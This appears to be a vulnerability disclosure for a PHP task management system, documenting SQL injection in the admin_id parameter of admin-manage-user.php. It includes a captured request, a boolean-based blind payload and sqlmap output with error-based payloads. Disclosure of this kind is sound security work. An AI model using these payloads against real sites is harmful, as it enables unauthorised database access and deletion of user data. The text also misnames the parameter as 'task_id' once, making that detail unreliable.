

# SQL vulnerability from php task management system free download in admin-manage-user.php

**Affected Project:** php task management system free download

**Official Website:** <https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>

**Version:** 1.0

**Related Code file:** admin-manage-user.php

## Demonstration

1. First, follow the steps shown in the image to delete the information, then capture the packet. The data packet is as follows.

The screenshot shows the NDTaskmatic admin interface. On the left is a sidebar with navigation links: Task Management, Attendance, Administration (highlighted with a red arrow and '1'), More Projects, Pro Version, Database, and Logout. The main content area has a 'Manage Employee' button (highlighted with a red arrow and '2') and a table of employees. The table has columns: Serial No., Fullname, Email, Username, Temp Password, and Details. The first employee is Sachin Mahajan. A red arrow points to the 'Details' column of the first employee (highlighted with a red arrow and '3'). Below the table, a network packet capture is shown in 'Pretty' format, displaying a GET request to /admin-manage-user.php?delete\_user=delete\_user&admin\_id=20.

```
1 GET /admin-manage-user.php?delete_user=delete_user&admin_id=20 HTTP/1.1
2 Host: localhost:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Referer: http://localhost:8080/admin-manage-user.php
9 Cookie: pagekit_auth=zyap0tzzZcXq6qFqKF8qX2qG5Cbus42MefSFLEOL.pRILDFf%2FJVM9zHCEbjFC5qJ; PHPSESSID=en7ndnc8ef4hjf92t0mdvkd77
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
```

2. There is an SQL injection vulnerability at the `task_id` parameter, with a Boolean-based blind SQL injection payload:

```
(SELECT (CASE WHEN (7944=7944) THEN 20 ELSE (SELECT 1883 UNION SELECT 1539)
END))
```

By modifying the condition `WHEN (7944=7944)`, a noticeable difference in the response is observed.

The screenshot displays two HTTP interactions in Burp Suite. The top interaction shows a request to `/admin-manage-user.php?delete_user=delete_user&admin_id=(SELECT+(CASE+WHEN+(7944=7945)+THEN+20+ELSE+(SELECT+1883+UNION+SELECT+1539)+END))`. The response is a 500 Internal Server Error with a fatal error message: `Uncaught PDOException: SQLSTATE[21000]: Cardinality violation: 1242 Subquery returns more than 1 row in F:\CVE-target\taskmatic\taskmatic\admin-manage-user.php:30`. The bottom interaction shows a request to the same endpoint with a payload that includes `WHEN (7944=7944)`. The response is a 200 OK status with an HTML page titled "Task Management System by Mayuri K."

The following demonstrates the use of **sqlmap** with various injection techniques, all of which successfully extract sensitive information.

```
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: http://localhost:8080/admin-manage-user.php?delete_user=delete_user&admin_id=(SELECT (CASE WHEN (7944=7944) THEN 20 ELSE (SELECT 1883 UNION SELECT 1539) END))

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: http://localhost:8080/admin-manage-user.php?delete_user=delete_user&admin_id=20 AND EXTRACTVALUE(3894,CONCAT(0x5c,0x7171716a71,(SELECT (ELT(3894=3894,1))),0x716b706b71))

[17:29:44] [Info] the back-end DBMS is MySQL
web application technology: PHP 8.0.2, Apache 2.4.39
back-end DBMS: MySQL >= 5.1
```